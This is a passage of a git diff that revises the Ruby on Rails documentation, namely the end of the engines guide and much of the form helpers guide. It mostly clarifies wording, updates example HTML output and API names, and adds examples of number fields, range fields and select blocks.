-or `admin.js`. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include `"blorg/admin.css"` in it's stylesheets. In this situation, you should explicitly define these assets for precompilation.
-This tells sprockets to add your engine assets when `rake assets:precompile` is ran.
+There are some situations where your engine's assets are not required by the
+host application. For example, say that you've created an admin functionality
+that only exists for your engine. In this case, the host application doesn't
+need to require `admin.css` or `admin.js`. Only the gem's admin layout needs
+these assets. It doesn't make sense for the host app to include
+`"blorgh/admin.css"` in its stylesheets. In this situation, you should
+explicitly define these assets for precompilation. This tells sprockets to add
+your engine assets when `rake assets:precompile` is triggered.
-You can define assets for precompilation in `engine.rb`
+You can define assets for precompilation in `engine.rb`:
```ruby
initializer "blorgh.assets.precompile" do |app|
@@ -910,14 +1368,15 @@ initializer "blorgh.assets.precompile" do |app|
end
```
-For more information, read the [Asset Pipeline guide](http://guides.rubyonrails.org/asset_pipeline.html)
+For more information, read the [Asset Pipeline guide](asset_pipeline.html).
-### Other gem dependencies
+### Other Gem Dependencies
-Gem dependencies inside an engine should be specified inside the `.gemspec` file at the root of the engine. The reason for this is because the engine may
-be installed as a gem. If dependencies were to be specified inside the `Gemfile`,
-these would not be recognised by a traditional gem install and so they would not
-be installed, causing the engine to malfunction.
+Gem dependencies inside an engine should be specified inside the `.gemspec` file
+at the root of the engine. The reason is that the engine may be installed as a
+gem. If dependencies were to be specified inside the `Gemfile`, these would not
+be recognized by a traditional gem install and so they would not be installed,
+causing the engine to malfunction.
To specify a dependency that should be installed with the engine during a
traditional `gem install`, specify it inside the `Gem::Specification` block
@@ -935,11 +1394,12 @@ s.add_development_dependency "moo"
```
Both kinds of dependencies will be installed when `bundle install` is run inside
-the application. The development dependencies for the gem will only be used when
-the tests for the engine are running.
+of the application. The development dependencies for the gem will only be used
+when the tests for the engine are running.
Note that if you want to immediately require dependencies when the engine is
-required, you should require them before the engine's initialization. For example:
+required, you should require them before the engine's initialization. For
+example:
```ruby
require 'other_engine/engine'
diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md
index ee563e72d5..f3f7415b3c 100644
--- a/guides/source/form_helpers.md
+++ b/guides/source/form_helpers.md
@@ -1,23 +1,22 @@
Form Helpers
============
-Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
+Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of the need to handle form control naming and its numerous attributes. Rails does away with this complexity by providing view helpers for generating form markup. However, since these helpers have different use cases, developers need to know the differences between the helper methods before putting them to use.
After reading this guide, you will know:
* How to create search forms and similar kind of generic forms not representing any specific model in your application.
-* How to make model-centric forms for creation and editing of specific database records.
+* How to make model-centric forms for creating and editing specific database records.
* How to generate select boxes from multiple types of data.
-* The date and time helpers Rails provides.
+* What date and time helpers Rails provides.
* What makes a file upload form different.
-* Some cases of building forms to external resources.
+* How to post forms to external resources and specify setting an `authenticity_token`.
* How to build complex forms.
--------------------------------------------------------------------------------
NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit [the Rails API documentation](http://api.rubyonrails.org/) for a complete reference.
-
Dealing with Basic Forms
------------------------
@@ -32,18 +31,14 @@ The most basic form helper is `form_tag`.
When called without arguments like this, it creates a `<form>` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability):
```html
-<form accept-charset="UTF-8" action="/home/index" method="post">
- <div style="margin:0;padding:0">
- <input name="utf8" type="hidden" value="&#x2713;" />
- <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
- </div>
+<form accept-charset="UTF-8" action="/" method="post">
+ <input name="utf8" type="hidden" value="&#x2713;" />
+ <input name="authenticity_token" type="hidden" value="J7CBxfHalt49OSHp27hblqK20c9PgwJ108nDHX/8Cts=" />
Form contents
</form>
```
-Now, you'll notice that the HTML contains something extra: a `div` element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](./security.html#cross-site-request-forgery-csrf).
-
-NOTE: Throughout this guide, the `div` with the hidden input elements will be excluded from code samples for brevity.
+You'll notice that the HTML contains `input` element with type `hidden`. This `input` is important, because the form cannot be successfully submitted without it. The hidden input element has name attribute of `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](security.html#cross-site-request-forgery-csrf).
### A Generic Search Form
@@ -68,13 +63,14 @@ This will generate the following HTML:
```html
<form accept-charset="UTF-8" action="/search" method="get">
+ <input name="utf8" type="hidden" value="&#x2713;" />
<label for="q">Search for:</label>
<input id="q" name="q" type="text" />
<input name="commit" type="submit" value="Search" />
</form>
```
-TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+TIP: For every form input, an ID attribute is generated from its name (`"q"` in above example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML.
@@ -100,7 +96,15 @@ form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_
### Helpers for Generating Form Elements
-Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as `text_field_tag` and `check_box_tag`), generate just a single `<input>` element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the `params` hash in the controller with the value entered by the user for that field. For example, if the form contains `<%= text_field_tag(:query) %>`, then you would be able to get the value of this field in the controller with `params[:query]`.
+Rails provides a series of helpers for generating form elements such as
+checkboxes, text fields, and radio buttons. These basic helpers, with names
+ending in `_tag` (such as `text_field_tag` and `check_box_tag`), generate just a
+single `<input>` element. The first parameter to these is always the name of the
+input. When the form is submitted, the name will be passed along with the form
+data, and will make its way to the `params` hash in the controller with the
+value entered by the user for that field. For example, if the form contains `<%=
+text_field_tag(:query) %>`, then you would be able to get the value of this
+field in the controller with `params[:query]`.
When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html).
@@ -146,13 +150,18 @@ Output:
<label for="age_adult">I'm over 21</label>
```
-As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and `params[:age]` will contain either "child" or "adult".
+As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (`age`), the user will only be able to select one of them, and `params[:age]` will contain either `"child"` or `"adult"`.
-NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and make it easier for users to click the inputs by expanding the clickable region.
+NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and,
+by expanding the clickable region,
+make it easier for users to click the inputs.
### Other Helpers of Interest
-Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields:
+Other form controls worth mentioning are textareas, password fields,
+hidden fields, search fields, telephone fields, date fields, time fields,
+color fields, datetime fields, datetime-local fields, month fields, week fields,
+URL fields, email fields, number fields and range fields:
```erb
<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
@@ -169,6 +178,8 @@ Other form controls worth mentioning are textareas, password fields, hidden fiel
<%= email_field(:user, :address) %>
<%= color_field(:user, :favorite_color) %>
<%= time_field(:task, :started_at) %>
+<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %>
+<%= range_field(:product, :discount, in: 1..100) %>
```
Output:
@@ -188,11 +199,20 @@ Output:
<input id="user_address" name="user[address]" type="email" />
<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
<input id="task_started_at" name="task[started_at]" type="time" />
+<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" />
+<input id="product_discount" max="100" min="1" name="product[discount]" type="range" />
```
Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
-IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), which provide a simple way to add functionality based on the presence of detected HTML5 features.
+IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local,
+month, week, URL, email, number and range inputs are HTML5 controls.
+If you require your app to have a consistent experience in older browsers,
+you will need an HTML5 polyfill (provided by CSS and/or JavaScript).
+There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are
+[Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/),
+which provide a simple way to add functionality based on the presence of
+detected HTML5 features.
TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging).
@@ -201,7 +221,7 @@ Dealing with Model Objects
### Model Object Helpers
-A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example `text_field`, `text_area`.
+A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the `_tag` suffix, for example `text_field`, `text_area`.
For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing:
@@ -215,15 +235,15 @@ will produce output similar to
<input id="person_name" name="person[name]" type="text" value="Henry"/>
```
-Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update_attributes`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy.
+Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy.
WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object.
-Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations and Callbacks](./active_record_validations_callbacks.html#displaying-validation-errors-in-the-view) guide.
+Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations](./active_record_validations.html#displaying-validation-errors-in-views) guide.
### Binding a Form to an Object
-While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does.
+While this is an increase in comfort it is far from perfect. If `Person` has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does.
Assume we have a controller for dealing with articles `app/controllers/articles_controller.rb`:
@@ -236,7 +256,7 @@ end
The corresponding view `app/views/articles/new.html.erb` using `form_for` looks like this:
```erb
-<%= form_for @article, url: {action: "create"}, html => {class: "nifty_form"} do |f| %>
+<%= form_for @article, url: {action: "create"}, html: {class: "nifty_form"} do |f| %>
<%= f.text_field :title %>
<%= f.text_area :body, size: "60x12" %>
<%= f.submit "Create" %>
@@ -248,7 +268,7 @@ There are a few things to note here:
* `@article` is the actual object being edited.
* There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
* The `form_for` method yields a **form builder** object (the `f` variable).
-* Methods to create form controls are called **on** the form builder object `f`
+* Methods to create form controls are called **on** the form builder object `f`.
The resulting HTML is:
@@ -264,7 +284,7 @@ The name passed to `form_for` controls the key used in `params` to access the fo
The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
-You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
+You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example, if you had a `Person` model with an associated `ContactDetail` model, you could create a form for creating both like so:
```erb
<%= form_for @person, url: {action: "create"} do |person_form| %>
@@ -288,7 +308,7 @@ The object yielded by `fields_for` is a form builder like the one yielded by `fo
### Relying on Record Identification
-The Article model is directly available to users of the application, so — following the best practices for developing with Rails — you should declare it **a resource**:
+The Article model is directly available to users of the application, so - following the best practices for developing with Rails - you should declare it **a resource**:
```ruby
resources :articles
@@ -326,7 +346,7 @@ If you have created namespaced routes, `form_for` has a nifty shorthand for that
form_for [:admin, @article]
```
-will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
+will create a form that submits to the `ArticlesController` inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
```ruby
form_for [:admin, :management, @article]
@@ -334,7 +354,6 @@ form_for [:admin, :management, @article]
For more information on Rails' routing system and the associated conventions, please see the [routing guide](routing.html).
-
### How do forms with PATCH, PUT, or DELETE methods work?
The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
@@ -349,12 +368,11 @@ output:
```html
<form accept-charset="UTF-8" action="/search" method="post">
- <div style="margin:0;padding:0">
- <input name="_method" type="hidden" value="patch" />
- <input name="utf8" type="hidden" value="&#x2713;" />
- <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
- </div>
+ <input name="_method" type="hidden" value="patch" />
+ <input name="utf8" type="hidden" value="&#x2713;" />
+ <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
...
+</form>
```
When parsing POSTed data, Rails will take into account the special `_method` parameter and acts as if the HTTP method was the one specified inside it ("PATCH" in this example).
@@ -379,7 +397,7 @@ Here you have a list of cities whose names are presented to the user. Internally
### The Select and Option Tags
-The most generic helper is `select_tag`, which — as the name implies — simply generates the `SELECT` tag that encapsulates an options string:
+The most generic helper is `select_tag`, which - as the name implies - simply generates the `SELECT` tag that encapsulates an options string:
```erb
<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
@@ -419,14 +437,19 @@ output:
Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option.
-TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` — you must pass 2. Be aware of values extracted from the `params` hash as they are all strings.
+TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer `2` you cannot pass `"2"` to `options_for_select` - you must pass `2`. Be aware of values extracted from the `params` hash as they are all strings.
-WARNING: when `:inlude_blank` or `:prompt:` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true.
+WARNING: when `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true.
You can add arbitrary attributes to the options using hashes:
```html+erb
-<%= options_for_select([['Lisbon', 1, 'data-size': '2.8 million'], ['Madrid', 2, 'data-size': '3.2 million']], 2) %>
+<%= options_for_select(
+ [
+ ['Lisbon', 1, { 'data-size' => '2.8 million' }],
+ ['Madrid', 2, { 'data-size' => '3.2 million' }]
+ ], 2
+) %>
output:
@@ -449,7 +472,7 @@ In most cases form controls will be tied to a specific database model and as you
<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
```
-Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one — Rails will do this for you by reading from the `@person.city_id` attribute.
+Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one - Rails will do this for you by reading from the `@person.city_id` attribute.
As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be:
@@ -458,11 +481,21 @@ As with other helpers, if you were to use the `select` helper on a form builder
<%= f.select(:city_id, ...) %>
```
-WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of ` ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) ` when you pass the `params` hash to `Person.new` or `update_attributes`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of `attr_protected` and `attr_accessible`. For further details on this, see the [Ruby On Rails Security Guide](security.html#mass-assignment).
+You can also pass a block to `select` helper:
+
+```erb
+<%= f.select(:city_id) do %>
+ <% [['Lisbon', 1], ['Madrid', 2]].each do |c| -%>
+ <%= content_tag(:option, c.first, value: c.last) %>
+ <% end %>
+<% end %>
+```
+
+WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of `ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)` when you pass the `params` hash to `Person.new` or `update`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly.
### Option Tags from a Collection of Arbitrary Objects
-Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
+Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a `City` model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
```erb
<% cities_array = City.all.map { |city| [city.name, city.id] } %>
@@ -481,6 +514,12 @@ As the name implies, this only generates option tags. To generate a working sele
<%= collection_select(:person, :city_id, City.all, :id, :name) %>
```
+As with other helpers, if you were to use the `collection_select` helper on a form builder scoped to the `@person` object, the syntax would be:
+
+```erb
+<%= f.collection_select(:city_id, City.all, :id, :name) %>
+```
+
To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`.
NOTE: Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method.
@@ -495,7 +534,7 @@ To leverage time zone support in Rails, you have to ask your users what time zon
There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
-Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/chrislerum/country_select). When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
+Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/stefanpenner/country_select). When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
Using Date and Time Form Helpers
--------------------------------
@@ -509,7 +548,7 @@ Both of these families of helpers will create a series of select boxes for the d
### Barebones Helpers
-The `select_*` family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
+The `select_*` family of helpers take as their first argument an instance of `Date`, `Time` or `DateTime` that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example:
```erb
<%= select_date Date.today, prefix: :start_date %>
@@ -523,7 +562,7 @@ outputs (with actual option values omitted for brevity)
<select id="start_date_day" name="start_date[day]"> ... </select>
```
-The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
+The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual `Date`, `Time` or `DateTime` object you would have to extract these values and pass them to the appropriate constructor, for example:
```ruby
Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
@@ -534,7 +573,7 @@ The `:prefix` option is the key used to retrieve the hash of date components fro
### Model Object Helpers
`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the `params` hash to correspond to one attribute.
-The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
+The model object helpers for dates and times submit parameters with special names; when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
```erb
<%= date_select :person, :birth_date %>
@@ -551,10 +590,10 @@ outputs (with actual option values omitted for brevity)
which results in a `params` hash like
```ruby
-{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
+{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
```
-When this is passed to `Person.new` (or `update_attributes`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`.
+When this is passed to `Person.new` (or `update`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`.
### Common Options
@@ -566,9 +605,9 @@ NOTE: In many cases the built-in date pickers are clumsy as they do not aid the
### Individual Components
-Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value.
+Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example, "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value.
-The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example
+The first parameter specifies which value should be selected and can either be an instance of a `Date`, `Time` or `DateTime`, in which case the relevant component will be extracted, or a numerical value. For example:
```erb
<%= select_year(2009) %>
@@ -598,18 +637,18 @@ Rails provides the usual pair of helpers: the barebones `file_field_tag` and the
### What Gets Uploaded
-The object in the `params` hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example).
+The object in the `params` hash is an instance of a subclass of `IO`. Depending on the size of the uploaded file it may in fact be a `StringIO` or an instance of `File` backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example).
```ruby
def upload
uploaded_io = params[:person][:picture]
- File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
+ File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|
file.write(uploaded_io.read)
end
end
```
-Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](http://www.thoughtbot.com/projects/paperclip).
+Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](https://github.com/thoughtbot/paperclip).
NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
@@ -620,7 +659,7 @@ Unlike other forms making an asynchronous file upload form is not as simple as p
Customizing Form Builders
-------------------------
-As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example
+As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of `FormBuilder` (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way, you can also subclass `FormBuilder` and add the helpers there. For example:
```erb
<%= form_for @person do |f| %>
@@ -636,7 +675,7 @@ can be replaced with
<% end %>
```
-by defining a LabellingFormBuilder class similar to the following:
+by defining a `LabellingFormBuilder` class similar to the following:
```ruby
class LabellingFormBuilder < ActionView::Helpers::FormBuilder
@@ -654,17 +693,17 @@ The form builder used also determines what happens when you do
<%= render partial: f %>
```
-If `f` is an instance of FormBuilder then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the `labelling_form` partial would be rendered instead.
+If `f` is an instance of `FormBuilder` then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class `LabellingFormBuilder` then the `labelling_form` partial would be rendered instead.
Understanding Parameter Naming Conventions
------------------------------------------
-As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example in a standard `create`
+As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example, in a standard `create`
action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on.
-Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
+Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
-TIP: You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example,
+TIP: You may find you can try out examples in this section faster by using the console to directly invoke Rack's parameter parser. For example,
```ruby
Rack::Utils.parse_query "name=fred&phone=0123456789"
@@ -673,7 +712,7 @@ Rack::Utils.parse_query "name=fred&phone=0123456789"
### Basic Structures
-The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example if a form contains
+The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example, if a form contains:
```html
<input id="person_name" name="person[name]" type="text" value="Henry"/>
@@ -687,7 +726,7 @@ the `params` hash will contain
and `params[:person][:name]` will retrieve the submitted value in the controller.
-Hashes can be nested as many levels as required, for example
+Hashes can be nested as many levels as required, for example:
```html
<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
@@ -699,7 +738,7 @@ will result in the `params` hash being
{'person' => {'address' => {'city' => 'New York'}}}
```
-Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:
+Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets `[]` then they will be accumulated in an array. If you wanted users to be able to input multiple phone numbers, you could place this in the form:
```html
<input name="person[phone_number][]" type="text"/>
@@ -707,11 +746,11 @@ Normally Rails ignores duplicate parameter names. If the parameter name contains
<input name="person[phone_number][]" type="text"/>
```
-This would result in `params[:person][:phone_number]` being an array.
+This would result in `params[:person][:phone_number]` being an array containing the inputted phone numbers.
### Combining Them
-We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
+We can mix and match these two concepts. One element of a hash might be an array as in the previous example, or you can have an array of hashes. For example, a form might let you create any number of addresses by repeating the following form fragment
```html
<input name="addresses[][line1]" type="text"/>
@@ -721,7 +760,7 @@ We can mix and match these two concepts. For example, one element of a hash migh
This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
-There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.
+There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can usually be replaced by hashes; for example, instead of having an array of model objects, one can have a hash of model objects keyed by their id, an array index or some other parameter.
